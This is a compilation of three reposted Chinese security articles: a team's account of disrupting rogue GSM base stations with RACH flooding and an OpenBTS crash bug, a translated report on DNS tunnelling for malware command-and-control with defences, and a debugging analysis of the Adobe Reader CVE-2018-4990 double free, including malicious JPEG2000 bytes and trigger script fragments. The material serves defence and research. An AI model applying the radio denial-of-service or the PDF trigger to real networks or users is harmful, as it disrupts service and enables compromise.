虽然目前国内伪基站相比于前几年来说已经少了很多,但还是有少量流动的,或者一些边境区域会受到影响。以往的打击伪基站手段都是采用大数据分析,发现后出警抓捕。但对于流动的,或者跨境的,就比较难办了。 基于这种现状,2017年开始跟某地运营商开始研发有防御伪基站功能的设备。

即设备所在范围内,出现伪基站后,设备对伪基站展开攻击,令伪基站失效。

思路

要实现跟伪基站的空中对抗,早期的实验条件,当然少不了C118和OsmocomBB,C118和OsmocomBB就不多说了。

第一阶段,尝试短时间内发送大量RACH请求去消耗伪基站资源。

首先搭建实验环境,通过BladeRF搭建了一个YateBTS。

YateBTS搭建起来后,把2台手机设置到2G模式下,接入YateBTS,成功的拨通了两台手机后,实验基站即搭建成功。接下来就是利用OsmocomBB,修改它的代码,发起RACH dos攻击。

要观测RACH的效果,少不了Wireshark这个工具。从Wireshark抓包的结果上来看,C118跑起修改过的OsmocomBB后,信令里已经出现了大量IMM REJ,这个时候可以说,YateBTS已经拒绝服务了。

这个时候,其他手机虽然还能检测出YateBTS信号,但已经无法完成位置更新。也就是说,如果这个是一个伪基站,它在我们的RACH攻击下,已经彻底失去吸入用户的能力。

第一阶段,实验环境测试我们已经觉得达到了效果,于是打算找运营商测试。在运营商配合下,找了个实验小区,对该小区频点进行RACH测试,每秒约发起15个RACH请求,发现很快运营商的基站就出现IMM REJECT了,这个结果,我们已经对该方案的可行性已经觉得OK。当天测试了十几分钟后,发现小区关闭了,后来沟通发现,原来监控人员发现小区指标异常,所以关站了。

当时还没有伪基站的设备,在运营商配合下,联系了当地的执法部门,把以前缴获的伪基站设备进行实际测试。 当时也是第一次看到了真正的伪基站设备,一台笔记本和一套射频设备。

开启真正的伪基站后,大家的手机关闭4G,手机马上收到了伪基站发来的短信。这个时候,在伪基站上再新建了一条测试短信,开始对伪基站进行RACH攻击,大家再关闭4G。大伙还是挺激动的,因为第一次真正的测试,但当大家手机陆续响起短信声音,就知道情况不妙了。

果然,大家还是收到了伪基站的短信。 通过测试程序,C118还是快速发起RACH,但伪基站跟之前测试的不一样,发现并没有IMM REJ的消息,全是ASS的,也就是说,跟之前的测试很不一样。就这样折腾了一个下午,发现这个方法,并不能让伪基站停止工作,问题不知道出现在哪。

没办法,只能继续寻找测试环境。后来在强大的闲鱼上,买到了一块SSRP,和一套程序,回到实验环境继续测试。

东西大概就这样。我一直以为用这些的都是搞伪基站的,后来才发现,人家不是用来做伪基站发短信,而是用来做个伪基站,去检测车里面是否有GPS。我在想,目前还有那么多2G物联网设备,协议可能都没加密,用这种部署个伪基站把物联网设备吸入后抓包会怎样?

硬件和软件都找到后,再进行测试。伪基站程序,都是一套OpenBTS,加一个网页控制端。发现黑产还是存在黑吃黑的情况,就是同一套底层程序,界面换一下,说支持4G,说多线程,好多选项其实只有界面,没有实际用途,就是骗人的。还有就是发送数量,实际发送1条,会随机显示发送了十几条(意思是我这套设备牛啊….)。早期这些发送数量被量刑的,不知道算不算冤了。

开始RACH测试后,通过OpenBTS的控制台,可以看到,SDCCH信道的容量在60,然后当前攻击状态下,用了51条信道。 想当然的我打算增加多几台C118来加大1秒内发送RACH数量,但结果,测试手机还是会收到伪基站的短信。思路一下陷入僵局。

大概有1个月的时间没有进展,为了回家晚上也能做测试,SSRP在办公室,晚上就用2台C118做实验环境。其中一台跑OpenBTS当小基站,另外一台当客户端。

当时的思路怀疑,是否PC上跑性能有瓶颈,毕竟usb转串口的速率不高,GSM对时间精度又比较敏感,所以,就打算把攻击代码,从PC上直接移植到layer1的固件里,这样省去了PC上的时间。

正是这样不断的调试,一天凌晨,改了很多次的固件测试失败后,最后一次测试打算上床睡觉。这次测试,发现手机跑起来后,另一端的OpenBTS崩溃了!再同样的测试了几次,几次OpenBTS都是崩溃。这次激动得当晚都睡不着觉。像跟做iOS逆向一样,有时成功就是差最后一点的坚持,技术是基础,不断尝试,当然还要靠点运气。

第二天赶紧跑回办公室,拿伪基站的设备进行测试,发现原本发送中的任务,被攻击了一次后,任务被暂停了!!ps看了一下,OpenBTS的PID不一样了,证明进程被重启过!!这下跟哥伦布发现新大陆一样兴奋。漏洞的细节就不方便公布了。

总的来说,是触发了OpenBTS的某个漏洞导致进程崩溃重启,OpenBTS还是有很多漏洞的。伪基站的OpenBTS重启过程中,大约会有5秒时间信号是消失状态的,如果信号出现,马上又对伪基站进行攻击,伪基站就会是不停的重启状态。这样不稳定的信号,达不到正常用户小区重选的阀值,就不会落入伪基站中。

第二阶段

得到了伪基站的漏洞后,第二阶段就是怎样设计硬件,能够方便部署。 C118+笔记本的方式很难做成产品模样。OsmocomBB不就是一个linux下的软件么,移植到树莓派上!

于是,陆续有了以下的“产品”原型:

树莓派体积还是大了点,又陆续找到了一款合适的ARM板,自己用三极管和GPIO设计了个电源开关,画了个PCB,硬件0.1版本出来了。

2017年底,硬件0.1版本实地测试,运营商安排测试人员,用专门的伪基站侦测仪器现场测试。该地市发现的伪基站信号,用伪基站侦测仪能不断收取到伪基站短信。启动攻击设备后,伪基站侦测仪检测到的伪基站信号时有时无,与预期一致。被攻击过一次的伪基站,即使停止攻击,也不会收到伪基站短信。

经过实测后,硬件能够很好工作,剩下就是怎样把硬件不断改进的过程,上图就是1.0版本的硬件(加入了4G模块,回传工作状态)和基站检测仪原型,检测伪基站方向。(未完待续,下一篇会介绍电路原理及改进过程)

OsmocomBB可玩性其实还有很多,除了基础的sample里的几个,还可以用来单手机多待当多路短信猫使用。或者把SIM卡通过网络鉴权,可以机卡分离异地登录等。

*本文作者:超雪团队2019,转载请注明来自FreeBuf.COM

原文阅读

关于DNS隧道技术的滥用调查
周大涛 2019-5-23 5:0 转存

关于 DNS 隧道技术的滥用调查在本报告中,我们将介绍基于DNS的数据过滤和渗透的类型,方法,并提供了一些防御机制。

DNS

DNS使用端口53,你几乎可以在任何系统,防火墙和客户端上打开并进行DNS查询。这些查询使用UDP协议,而不是TCP协议,所以它与TCP等效查询具有更低的延迟,带宽和资源。但是UDP没有错误或流量控制功能,也没有任何完整性检查以确保数据完好无损。所以互联网如何保证用户浏览网页,使用应用,聊天可靠呢?比如如果在一个实例中UDP DNS查询失败,大多数系统将在多次失败之后,可能切换到TCP; 如果DNS查询超出UDP数据报大小的限制,则也使用TCP 。下面的图1说明了DNS如何运行的基本过程:客户端使用特定类型发送查询字符串(例如,在这种情况下为mail.google [。] com) – 通常为主机地址的A. 我已经跳过了中间DNS系统可能必须确定’.com’存在的部分,然后找出可以找到’google [。] com’的位置。
关于 DNS 隧道技术的滥用调查如果您想深入了解DNS的工作原理 – 从您键入密钥以拼写您想要浏览的域名 – 请阅读本文

数据踪迹

一般我们上网,无论是从搜索引擎结果转移还是直接访问网站,都会留下DNS查询痕迹。留下的多少取决于操作系统,DNS服务器(特别是启用了扩展或调试日志记录的服务器)可以收集关于请求和客户机请求的整个主机信息。这篇文章介绍可以从DNS服务器日志中收集的信息类型的一些想法; 操作此类服务器的管理员获取远程IP发送请求 – 尽管这可能是最后一跳或DNS服务器的IP,而不是确切的请求客户端的IP – 以及查询字符串本身,以及来自服务器的响应。

DNS隧道

现在我们对DNS有了一些认识,以及它在网络中的运行方式以及服务器端跟踪功能,让我们深入了解一下隧道功能。在本节中,我们将描述命令和控制(C2)信标如何在DNS上运行,以及如何实现数据的过滤和渗透。

C2

C2通常有两个目的。首先,它可以充当信标或心跳包,表明他们的远程payload仍在运行(仍然有心跳 ) 因为它正在向服务器发送(通信)。您可以将基本DNS操作(如上面的图1所示)看作一个心跳包的示例。如果客户端系统上的恶意软件通过DNS反复向攻击者的服务器发送查询,则攻击者可以从日志中判断出肉鸡正在运行。下面图2所描述的另一个示例,其中客户端系统受到恶意软件的攻击,该恶意软件正在构建通过DNS发送奇怪外观的查询字符串。像这样的查询仍然充当心跳指示攻击者他们的payload仍然是活跃的,但是他们还提供关于受害者的一些基本元数据,并且重要的是,如何识别一个受害者。
关于 DNS 隧道技术的滥用调查用户名和主机名可能并不能识别主机,但是系统确实具有通用唯一标识符(UUID)或其他属性,这些属性在组合时可以为创建唯一标识符。受感染主机的一些元数据可以作为纯文本发送,但对于在DNS查询中看到此类字符串的任何人来说,乍一看似乎更可疑。在许多情况下,数据将包含DNS不支持的字符,在这种情况下将需要编码。在图2中,您可以看到元数据的base64编码等效项,它使用“ – ”分隔符号构造,用于在服务器端进行简单的解析和解码,如下面的图3所示。
关于 DNS 隧道技术的滥用调查图3显示了来自DNS服务器应用程序的原始DNS日志的示例,其中包含恶意软件的查询和DNS服务器的响应(在本例中为NXDOMAIN(或不存在域)的行条目。在某些方面,像这样的日志,或者可能是包含来自它们的解码记录的小型数据库,可以与僵尸网络控制面板进行比较,这些控制面板允许黑客控制他们的僵尸系统。

Exfiltration

那么,还有什么可以在DNS查询中发送?好吧,理论上的任何东西,只要它编码正确并且不滥用UDP大小限制。解决后一种约束的方法可能是发送多条A记录消息,并在服务器端以某种方式将它们拼接在一起。与确保重传失败包的TCP不同,UDP没有这样的机制。需要一种算法来理解将发送多少消息,并检查正确的消息到达的数量,但比这更复杂的是,以某种方式要求客户机重新传输某些数据段,直到100%到达为止。根据要传输的数据量(例如,系统上的每个PDF),可能需要花费很长时间,而且对于网络管理员来说非常可疑。

Infiltration

相比之下,无论是代码,命令还是二进制文件删除磁盘和执行可能会容易得多,特别是使用DNS类型的TXT(而不是主机记录类型A)。

TXT类型旨在提供描述性文本,例如服务详细信息,联系人姓名,电话号码等,以响应对域名的TXT DNS查询。

下面的图4显示了发送到恶意站点的相同查询,与如图2一样的,但是,请求和响应上的类型现在是TXT,响应数据包含编码的二进制可执行文件的前300个左右字符。可以由客户端恶意软件执行。再次,使用日志,攻击者将能够知道哪个客户端要求Payload。
关于 DNS 隧道技术的滥用调查但是,恶意软件如何知道将类型更改为TXT或何时请求“文本”数据?

在我之前的C2 DNS通信示例中,来自DNS服务器的响应是NXDOMAIN。此消息显然会到达客户端系统(和恶意软件),并且可以用于Payload的消息或指令。

NOERROR,该术语暗示一切正常 – 您的请求已得到处理并且答案等待着您。使用NOERROR可以处理响应。通常这是IPv4(用于A类型请求)或IPv6(用于AAAA类型请求)或者它可以是TXT,如上面的图4所示。一个简单的例子 – IPv4地址响应 – 恶意软件不需要实际的IP与之通信,不像您的浏览器询问“google [。] com在哪里?”。

恶意软件已使用C2 over DNS与其目的地进行通信。恶意软件可以使用IP响应的是4,294,967,296个命令或指令中的任何一个。同样这个非常简单,IP的第 4 个八位字节中的特定值(例如100)可能指示恶意软件向行动者的域发送TXT DNS查询以收集和执行Payload。第一个八位字节中的值10可能意味着从操作系统和事件日志中卸载并擦除Payload的痕迹。从字面上看,选项是无穷无尽的,可能的复杂程度也是如此。鉴于攻击者可以控制DNS服务器,并且某些DNS服务器应用程序或守护进程具有高度可配置性,因此可以根据从他们发送的请求将条件响应发送回受害者系统上的恶意软件。例如,如果传入查询包含某个标志(字符)作为域名的第一个子域,则可以由在服务器上的DNS服务内运行的程序读取,并向客户端提供自定义响应。这可以用于恶意软件自动处理一组任务,并相应地向受害者报告以接收他们的下一个任务。

结论

DNS是非常强大的工具,几乎可以在任何地方使用,允许应用程序和系统查找与之交互的资源和服务。DNS提供了一个通信基础,使更高级别和更强大的协议能够运行,但从安全角度来看,这可能意味着它被忽略,特别是当您考虑通过电子邮件协议传送多少恶意软件或使用HTTP从Web下载时。出于这些原因,DNS是黑客的完美选择,以利用来自受感染主机的通信。Unit 42已经看到多个恶意软件实例及其背后的参与者滥用DNS以实现其目标,如本报告所述。无论是使用Palo Alto Networks的安全操作平台还是开源技术,组织都可以通过多种不同的方式保护自己免受DNS隧道攻击。

防御可以采取许多不同的形式,例如但不限于以下内容:

1.根据已知声誉或感知危险阻止域名(或IP或地理定位区域);

2.关于“strange looking”DNS查询字符串的规则;

3.有关出站或入站DNS查询的长度,类型或大小的规则;

4.客户端操作系统的一般强化,并了解名称解析功能及其特定搜索顺序;

5.用户和/或系统行为分析,可自动发现异常情况,例如访问的新域,尤其是访问方法和频率异常时。

*参考来源:unit42,FB小编周大涛编译,转载请注明来自FreeBuf.COM

原文阅读

CVE-2018-4990漏洞调试分析记录
kn1f4 2019-5-23 2:0 转存

测试环境

Windows 7 SP1 x86

Adobe Reader 2017.009.20044

漏洞成因

Adobe 官方安全公告说这是一个 Double Free 漏洞, 内存相关的问题, 我们打开页堆后运行 Reader, 用 Windbg 附加, 打开 POC 后崩溃, 崩溃位置以及栈回溯:

0:000> r
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=022e0000 edi=022e0000
eip=6f096e88 esp=0019a478 ebp=0019a4c4 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
6f096e88 813abbbbcdab    cmp     dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv L0c
 # ChildEBP RetAddr  Args to Child
00 0019a4c4 6f096f95 022e1000 d0d0d0d0 022e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [Non-Fpo])
01 0019a4e8 6f097240 022e1000 d0d0d0d0 0019a558 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [Non-Fpo])
02 0019a504 6f099080 022e1000 d0d0d0d0 008fd21e verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [Non-Fpo])
03 0019a520 779065f4 022e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [Non-Fpo])
04 0019a568 778ca0aa 022e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [Non-Fpo])
05 0019a65c 778965a6 00000000 d0d0d0d0 3f304f98 ntdll!RtlpFreeHeap+0x5d (FPO: [Non-Fpo])
06 0019a67c 771bbbe4 022e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [Non-Fpo])
07 0019a690 6d30ecfa 022e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [Non-Fpo])
08 0019a6a4 68c40622 d0d0d0d0 8348117b 433f2fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl)
WARNING: Stack unwind information not available. Following frames may be wrong.
09 0019a7c4 68c56444 4cf46fb8 3c5f8fd8 000000fd JP2KLib!JP2KCopyRect+0xbad6
0a 0019a81c 6dfa5f50 48412e88 6829efd0 3c5f8fd8 JP2KLib!JP2KImageInitDecoderEx+0x24
0b 0019a8a4 6dfa78ed 3d074fa8 433f2fac 3d074fa8 AcroRd32!AX_PDXlateToHostEx+0x25e41d

可以看到, jp2klib 在调用 free 释放时奔溃了, 这里释放的地址是 0xd0d0d0b0, 这是页堆的后置填充数据, 这里似乎是访问越界了, 我们 ub 看下调用 free 处的代码:

68c40605 8bcb            mov     ecx,ebx
68c40607 894d10          mov     dword ptr [ebp+10h],ecx
68c4060a 395804          cmp     dword ptr [eax+4],ebx
68c4060d 7e2c            jle     JP2KLib!JP2KCopyRect+0xbaef (68c4063b)
68c4060f 8b4648          mov     eax,dword ptr [esi+48h]
68c40612 8b400c          mov     eax,dword ptr [eax+0Ch]
68c40615 8b0488          mov     eax,dword ptr [eax+ecx*4]
68c40618 85c0            test    eax,eax
68c4061a 7413            je      JP2KLib!JP2KCopyRect+0xbae3 (68c4062f)
68c4061c 50              push    eax
68c4061d e88a690100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (68c56fac) ; free
68c40622 8b4648          mov     eax,dword ptr [esi+48h]
68c40625 59              pop     ecx
68c40626 8b4d10          mov     ecx,dword ptr [ebp+10h]
68c40629 8b400c          mov     eax,dword ptr [eax+0Ch]
68c4062c 891c88          mov     dword ptr [eax+ecx*4],ebx
68c4062f 8b4648          mov     eax,dword ptr [esi+48h]
68c40632 41              inc     ecx
68c40633 894d10          mov     dword ptr [ebp+10h],ecx
68c40636 3b4804          cmp     ecx,dword ptr [eax+4]
68c40639 7cd4            jl      JP2KLib!JP2KCopyRect+0xbac3 (68c4060f)

可以看到, 这里在循环调用 free 函数, 我们重新调试, 在取出被释放的值之前下断, 这里在 jp2klib + 0×50605 的位置下断.

刚附加时, jp2klib 是没有加载的, 这里可以使用命令 sxe ld jp2klib 等加载了这个模块以后再下断. 断下后调试我们可以发现, 这里在和 0xff 进行比较, 也就是循环要执行 0xff 次:

6cd30605 8bcb            mov     ecx,ebx
6cd30607 894d10          mov     dword ptr [ebp+10h],ecx
6cd3060a 395804          cmp     dword ptr [eax+4],ebx ds:0023:7051ffe4=000000ff
6cd3060d 7e2c            jle     JP2KLib!JP2KCopyRect+0xbaef (6cd3063b)

继续跟踪, 跟到要从 eax 指向的内存中取出要释放的地址时, 我们看下 eax 所指内存块:

0:000> !heap -p -a eax
    address 07d1e180 found in
    _HEAP @ d50000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        07d1e178 0081 0000  [00]   07d1e180    003f4 - (busy)

可以看到, 这个 eax 所指内存只有 0x3f4 大小, 而 0x3f4 / 4 = 0xfd, 也就是说这里循环 0xff 次比正常的多了两次, 也就是越界访问了 8 个字节, 这也就是为什么前面会释放页堆后置填充数据的原因.

我们关掉页堆重新调试, 继续在之前的地方下断, 断下后查看越界访问的 8 字节:

0:000> dc eax + 0x3f4
07d1e574  0d0e0048 0d0f0048 00000000 0e17e719  H...H...........
07d1e584  88000000 00000000 000003f0 08231608  ..............#.
07d1e594  00000000 00000000 00000000 00000000  ................

可以看到, 这里被填充了两个值, 通过查看 POC 也可以看到, 这两个值是在 POC 中指定的, 也就是说, 此处的问题可以造成任意两个地址被释放. 接着的问题就是为何会造成这里的越界访问, eax 所指内存从哪里分配? 大小又是怎么计算的? 循环的次数又从何而来?

我们看上面的代码, eax 所指内存在 poi(poi(esi + 0×48) + 0x0c), 而比较的次数在 +0×04 的位置, 这里我们可以通过在 IDA 追溯到 esi 的分配位置, 找到后下断重新调试, 然后在分配后的偏移 0×48 的位置下内存写入断点, 找到给 0×48 偏移赋值的位置, 然后再对这里的内存地址偏移 0x0c 的位置下内存写入断点, 这样依次跟踪. 也可以使用 !address 首先看下 esi 所指内存的类型, 发现是堆内存, 直接开启 UST, !heap -p -a 一下就可以看到 esi 的分配地址了. 这里因为用内存写入断点的方法跟踪过, 知道了偏移 0×48 和偏移 0x0c 处的内存也是堆内存, 所以这里可以直接用 UST 找到分配 0x0c 处内存的位置.

找到 0x0c 偏移处内存的分配位置后, 重新调试并下断 jp2klib + 0×41391:

5edb1380 8b5df0          mov     ebx,dword ptr [ebp-10h]
5edb1383 3bc3            cmp     eax,ebx
5edb1385 0f821a090000    jb      JP2KLib!JP2KCodeStm::write+0x187c5 (5edb1ca5)
5edb138b c1eb02          shr     ebx,2
5edb138e 6a04            push    4
5edb1390 53              push    ebx
5edb1391 e8295b0200      call    JP2KLib!JP2KTileGeometryRegionIsTile+0xcb (5edd6ebf)
5edb1396 837f4800        cmp     dword ptr [edi+48h],0 ds:0023:05022a50=00000000
5edb139a 59              pop     ecx
5edb139b 59              pop     ecx
5edb139c 8945f8          mov     dword ptr [ebp-8],eax
5edb139f 7516            jne     JP2KLib!JP2KCodeStm::write+0x17ed7 (5edb13b7)
5edb13a1 6a01            push    1
5edb13a3 6a20            push    20h
5edb13a5 e8155b0200      call    JP2KLib!JP2KTileGeometryRegionIsTile+0xcb (5edd6ebf)
5edb13aa 894748          mov     dword ptr [edi+48h],eax

断下后可以看到, 在 5edb1391 分配时 ebx 等于 0xfd, 通过分析可以知道, 这里的分配函数有两个参数, 第一个参数是元素个数, 第二个参数是元素类型, 这里分配了 0x3f4 字节, ebx 的原始值在 ebp-10 中, 我们可以看下:

0:000> dd ebp-10 L1
0024a3e0  000003f4

下面 5edb13a5 分配的 20 字节其实就是偏移 0×48 处的内存, 也就是前面的 poi(esi + 0×48), 这可以通过之前在找到分配 esi 的位置后, 下内存写入断点确认, 也可以在循环释放时直接利用 UST 找到这个位置. 当这 20 字节内存分配后, 直接在偏移 0x0c 的位置下内存写入断点, 就可以发现最后把上面分配的大小为 0x3f4 的内存地址赋值到此处.

接着看看这块内存的大小是怎么计算的, 我们在 IDA 追溯 ebp-10, 看看里面的值是在哪里赋值的:

.text:00041333 mov     eax, ebx
.text:00041335 mov     ecx, esi
.text:00041337 sub     eax, [ebp+var_4]
.text:0004133A push    eax
.text:0004133B mov     [ebp+var_10], eax

跟到这里可以看到, ebp-10h 的值来自 ebx 减 ebp-4 的值, 继续跟踪发现 ebx 的值来自 ebp-14h, 继续跟踪, 发现如下代码:

.text:00040FEE push    esi
.text:00040FEF lea     eax, [ebp+var_4]
.text:00040FF2 push    eax
.text:00040FF3 lea     eax, [ebp+var_18]
.text:00040FF6 push    eax
.text:00040FF7 lea     eax, [ebp+var_14]
.text:00040FFA push    eax
.text:00040FFB call    sub_3FD43

这里将 ebp-4 和 ebp-14h 的地址都当作参数传进去了, 我们可以在该函数下断跟进(也可以对两个地址下内存写入断点, 可以确认就是该函数填充的值):

5ee1fd43 55              push    ebp
5ee1fd44 8bec            mov     ebp,esp
5ee1fd46 56              push    esi
5ee1fd47 8b7514          mov     esi,dword ptr [ebp+14h]
5ee1fd4a 8bce            mov     ecx,esi
...
5ee1fd5c 53              push    ebx
5ee1fd5d 57              push    edi
5ee1fd5e 6a04            push    4
5ee1fd60 8bce            mov     ecx,esi
5ee1fd62 e8b4b5fcff      call    JP2KLib!JP2KUserActions::operator=+0xa07b (5edeb31b)
5ee1fd67 8b7d08          mov     edi,dword ptr [ebp+8]
5ee1fd6a 8bce            mov     ecx,esi
5ee1fd6c 6a04            push    4
5ee1fd6e 8907            mov     dword ptr [edi],eax ; 赋值给 ebp-14h 
5ee1fd70 e8a6b5fcff      call    JP2KLib!JP2KUserActions::operator=+0xa07b (5edeb31b)
5ee1fd75 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
5ee1fd78 8b5d10          mov     ebx,dword ptr [ebp+10h]
5ee1fd7b 6a08            push    8
5ee1fd7d 8901            mov     dword ptr [ecx],eax
5ee1fd7f 58              pop     eax
5ee1fd80 8903            mov     dword ptr [ebx],eax ; 赋值给 ebp-4

当执行完 5ee1fd62 处的函数 5edeb31b 后, 发现 eax 等于 0x3fc, 在这个函数的下方也可以发现给 epb-4 和 ebp-14h赋值的地方. 我们跟进 5edeb31b 函数:

if ( a1 && a1 <= 4 ) {
  v4 = (unsigned __int8)sub_B21A((int)this, (_BYTE *)&a1 + 3);
  if ( v2 > 1 ) {
    v5 = v2 - 1;
    do {
      v4 = (unsigned __int8)sub_B21A((int)v3, (_BYTE *)&a1 + 3) + (v4 << 8);
      --v5;
    } while ( v5 );
  }
  result = v4;
}

可以看到, 这个函数调用 sub_B21A 每次读取一个字节, 然后通过左移位合在一起. 我们进入 sub_B21A 函数查看:

v2 = this;
if ( *(_BYTE *)(this + 8) || *(_DWORD *)(this + 0x10) >= *(_DWORD *)(this + 0x14) )
  ...
if ( *(_BYTE *)(v2 + 9) && *(_DWORD *)(v2 + 0x10) >= *(_DWORD *)(v2 + 0x14) ) {
  ...
} else {
  v1 = *(char **)(v2 + 0x10);
  v5 = *v1;
  ++*(_DWORD *)(v2 + 0x1C);
  *(_BYTE *)(v2 + 0x18) = v5;
  *(_DWORD *)(v2 + 0x10) = v1 + 1;
  result = *(_BYTE *)(v2 + 0x18);
}
return result;

可以看到该函数从 ecx 指向的内存中取一个指针并取值, 查看 poi(ecx + 0×10) 指向的数据:

0:000> db poi(ecx + 0x10)
17d3be80  00 00 00 0c 6a 50 20 20-0d 0a 87 0a 00 00 04 1d  ....jP  ........
17d3be90  6a 70 32 68 00 00 00 16-69 68 64 72 00 00 00 20  jp2h....ihdr... 
17d3bea0  00 00 00 20 00 01 ff 07-00 00 00 00 03 fc 63 6d  ... ..........cm
17d3beb0  61 70 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ap..............
17d3bec0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
17d3bed0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
17d3bee0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
17d3bef0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

可以看到一些关键字 jp2h, ihdr 等. 通过搜索可以知道这是一个 jpg2000 文件. 通过多次调试可以知道, ecx 偏移 0x0c 处的指针一直指向该文件数据的起始位置, 偏移 0×10 处的指针指向当前取值位置, 偏移 0×14 处指向数据结尾, 偏移 0×04 处存放数据的大小.

由于 5edeb31b 函数会被调用多次, 我们可以下条件断点, 看看第几次调用时返回的 eax 等于 0x3fc:

r $t0 = 0
bp jp2klib + 0x3fd67 "r $t0 = $t0 + 1; .if eax != 0x3fc {g;} .else {.printf \"count: %d\", $t0;}"

通过上述断点我们可以知道在第四次时该函数返回 0x3fc, 我们重新调试下断, 第四次中断时跟进. 通过跟踪可以发现, 0x3fc 是从 jpg2000 文件的如下位置读取的:

17d3bea0  00 00 00 20 00 01 ff 07-00 00 [00 00 03 fc] 63 6d  ... ..........cm
17d3beb0  61 70 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ap..............

接着再继续寻找前面的循环次数 0xff 是从哪儿获取的, 我们可以对存放该值的位置下内存写入断点, 也就是前面分配的 20 字节大小内存的偏移 0×04 的位置. 下断运行后断在如下位置:

.text:00041125                 mov     ecx, [edi+48h]
.text:00041128                 mov     [ecx], eax
.text:0004112A                 mov     ecx, [esi+10h]
.text:0004112D                 inc     dword ptr [esi+1Ch]
.text:00041130                 mov     al, [ecx]
.text:00041132                 mov     [esi+18h], al
.text:00041135                 lea     eax, [ecx+1]
.text:00041138                 movzx   ecx, byte ptr [esi+18h]
.text:0004113C                 mov     [esi+10h], eax
.text:0004113F                 mov     eax, [edi+48h]
.text:00041142                 mov     [eax+4], ecx
.text:00041145                 mov     ecx, [edi+48h] ; 断在此处

可以看到将 ecx 的值赋值给偏移 0×04 处, 我们可以重新调试并在 0×41125 处下断调试. 通过调试可以发现 ecx 的值来自 esi+10h 处的指针, 而这里的 esi 就是上面的 this 指针 ecx, 其偏移 0×10 处存放的是指向当前取值位置的指针, 我们看下当前指向的数据:

0:000> dc ecx - 20
4e6f9bc0  00000000 00000000 00000000 00000000  ................
4e6f9bd0  00000000 00000000 63700b00 ffff726c  ..........pclr..
4e6f9be0  ffffffff ffffffff ffffffff ffffffff  ................
4e6f9bf0  ffffffff ffffffff ffffffff ffffffff  ................
4e6f9c00  ffffffff ffffffff ffffffff ffffffff  ................

可以看到, 同样是 jpg2000 文件的数据. jpg2000 文件包含在 PDF 中, 我们可以通过在 PDF 中搜索关键字 image 找到存放该文件的流对象, 在 POC 中该流是没有编码的, 但是真实样本中流是可能编码的, 需要解码后才能看到原始数据, 找到的流数据如下:

2600h: 0D 0A 0D 0A 32 33 20 30 20 6F 62 6A 0D 0A 3C 3C  ....23 0 obj..<< 
2610h: 0D 0A 2F 53 75 62 74 79 70 65 20 2F 49 6D 61 67  ../Subtype /Imag 
2620h: 65 0D 0A 2F 46 69 6C 74 65 72 20 2F 4A 50 58 44  e../Filter /JPXD 
2630h: 65 63 6F 64 65 0D 0A 2F 4C 65 6E 67 74 68 20 32  ecode../Length 2 
2640h: 31 32 33 0D 0A 2F 4E 61 6D 65 20 2F 58 0D 0A 2F  123../Name /X../ 
2650h: 57 69 64 74 68 20 33 32 0D 0A 2F 54 79 70 65 20  Width 32../Type  
2660h: 2F 58 4F 62 6A 65 63 74 0D 0A 2F 48 65 69 67 68  /XObject../Heigh 
2670h: 74 20 33 32 0D 0A 3E 3E 0D 0A 73 74 72 65 61 6D  t 32..>>..stream 
2680h: 0D 0A 00 00 00 0C 6A 50 20 20 0D 0A 87 0A 00 00  ......jP  ..‡... 
2690h: 04 1D 6A 70 32 68 00 00 00 16 69 68 64 72 00 00  ..jp2h....ihdr.. 
26A0h: 00 20 00 00 00 20 00 01 FF 07 00 00 00 00 03 FC  . ... ..ÿ......ü 
26B0h: 63 6D 61 70 00 00 00 00 00 00 00 00 00 00 00 00  cmap............ 
... 
2A90h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
2AA0h: 00 00 00 00 00 00 00 00 00 00 00 0B 70 63 6C 72  ............pclr 
2AB0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2AC0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2AD0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2AE0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2AF0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2B00h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

至此, 我们知道了内存块的大小和循环次数均是来自恶意的 jpg2000 文件, 因此导致了越界访问, 可以释放任意两个地址. 这里我们在看下 POC, 看看是哪里触发了这个问题, 我们在 POC 中看到如下代码:

function myfun1()
{
    ....
    var f1 = this.getField("Button1");
    if(f1)
    {
        f1.display = display.visible;
    }
    var sto2 = app.setTimeOut("myfun2()",250);
}
function myfun2()
{
    var f1 = this.getField("Button1");
    if(f1)
    {
        f1.display = display.hidden;
    }
    ...
}

